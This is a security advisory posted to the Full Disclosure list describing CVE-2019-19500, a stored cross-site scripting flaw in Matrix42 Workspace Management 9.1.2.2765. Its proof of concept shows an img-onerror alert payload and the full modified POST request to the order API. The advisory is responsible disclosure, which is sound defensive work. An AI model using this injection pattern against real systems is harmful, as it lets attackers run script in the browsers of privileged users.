[FD] Workspace Management 9.1.2.2765 - Stored Cross-Site Scripting

[Georg Ph E Heise via Fulldisclosure <fulldisclosure@xxxxxxxxxxxx>]

Matrix42 Workspace Management 9.1.2.2765 – Stored Cross-Site Scripting

===============================================================================

Identifiers

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CVE-2019-19500

CVSSv3 score

-------------------------------------------------

9.1 
[AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L&version=3.1))

Vendor

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Matrix42 ([https://www.matrix42.com](https://www.matrix42.com/))

Product

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Matrix42 combines the disciplines of Unified Endpoint Management (UEM), 
Software Asset Management (SAM), Automated Endpoint Security (AES) and Service 
Management (ITSM). With MyWorkspace, one can use the browser to access data and 
applications securely regardless of the device. With MX42 Workspace Management, 
one actively manage devices, applications, processes, and services simple, 
secure, and compliant. The innovative software seamlessly integrates physical, 
virtual, mobile and cloud-based workspaces into existing infrastructures.

Affected versions

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 - Workspace Management 9.1.2.2765 and below

Credit

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Christian Pappas, Georg Ph E Heise (@gpheheise) / Lufthansa Industry Solutions 
(@LHIND_DLH)

Vulnerability summary

-------------------------------------------------

Workspace Management 9.1.2.2765 and below have a stored XSS vulnerability in 
the comment field for special order. A user can use this to exploit other 
privileged users eg managers or admins who are viewing excepting the order.

Technical details

------------------------------------------------

The custom field when placing orders is vulnerable to a persistent cross site 
scripting (XSS) attack.

An Attacker has to intercept the request made by the web application and modify 
it before submitting it to server.

Proof of concept

-------------------------------------------------

The following evidence is provided to illustrate the existence and

exploitation:

Modify the the custom field for special order similar to this:

"<p><strong>Kali Linux&nbsp;<img src=\"foo\" onerror=\"alert(\'Hacked by 
Lufthansa Industry Solutions!\')\" width=\"100\" 
height=\"30\"></strong></p>"},"_type"

POST 
/m42Services/api/WidgetDialog/UpdateData/88b223a6-0686-c617-1445-08d6df7de1cf 
HTTP/1.1

Host: foo.bar.de

Connection: close

Content-Length: 1629

Origin: https:/foo.bar.de

mx-application-id: MX_APPLICATION_ID

Accept-Language: de-DE

Authorization: Bearer beARerTokenHere

Content-Type: application/json;charset=UTF-8

Accept: application/json, text/plain, */*

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 
(KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36

DNT: 1

Sec-Fetch-Site: same-origin

Sec-Fetch-Mode: cors

Referer: https://foo.bar.de/wm/app-SelfServicePortal/search-page/subpage

Accept-Encoding: gzip, deflate

Cookie: ASP.NET_SessionId=SESSION_ID

'{"Sys-Entity":"Ud_LHIND_Service_Form_IndividualSoftwareRequestType","ID”:”REQUEST_ID,”Sys-IsNew":false,"Sys-TimeStamp”:”TIMESTA”MP,”Sys-DisplayName":"Formular
 individuelle 
Softwareanfrage","Ud_LHIND_Service_Form_IndividualSoftwareRequestClassBase":{"Sys-TimeStamp”:”TIMESTAMP”,”ID":"fIDIDID”,”Software":"test","Description":"<p><strong>Kali
 Linux&nbsp;<img src=\"foo\" onerror=\"alert(\'Hacked by Lufthansa Industry 
Solutions!\')\" width=\"100\" 
height=\"30\"></strong></p>"},"_type":"Ud_LHIND_Service_Form_IndividualSoftwareRequestType","_id”:”IDNUMMER”,”DisplayString":"Formular
 individuelle Softwareanfrage","_displayName":"Formular individuelle 
Softwareanfrage","_name":"Formular individuelle 
Softwareanfrage","IsNew":false,"SPSCommonClassBase":{"Representitives":{"AddedRelations":[],"RemovedRelations":[]},"WorkflowErrors":{"AddedRelations":[],"RemovedRelations":[]},"Tasks":{"AddedRelations":[],"RemovedRelations":[]},"RelatedBackupObject":{"AddedRelations":[],"RemovedRelations":[]},"RelatedDependentObject":{"AddedRelations":[],"RemovedRelations":[]},"ServiceBookings":{"AddedRelations":[],"RemovedRelations":[]},"Bookings":{"AddedRelations":[],"RemovedRelations":[]},"FormForShoppingCarts":{"AddedRelations":[],"RemovedRelations":[]},"Appointments":{"AddedRelations":[],"RemovedRelations":[]},"Memorandums":{"AddedRelations":[],"RemovedRelations":[]},"Service":{"AddedRelations":[],"RemovedRelations":[]},"Orders":{"AddedRelations":[],"RemovedRelations":[]},"ShoppingCarts":{"AddedRelations":[],"RemovedRelations":[]}}}'

`

Solution

-------------------------------------------------

Upgrade to Matrix42 Workspace Management Version 10.0

Timeline

-------------------------------------------------

Date        | Status

------------|-----------------------------

02-DEZ-2019 | Reported to vendor

09-DEZ-2020 | Acknowledged by vendor

31-MAR-2020 | Patch available

14-APR-2020 | Public disclosure

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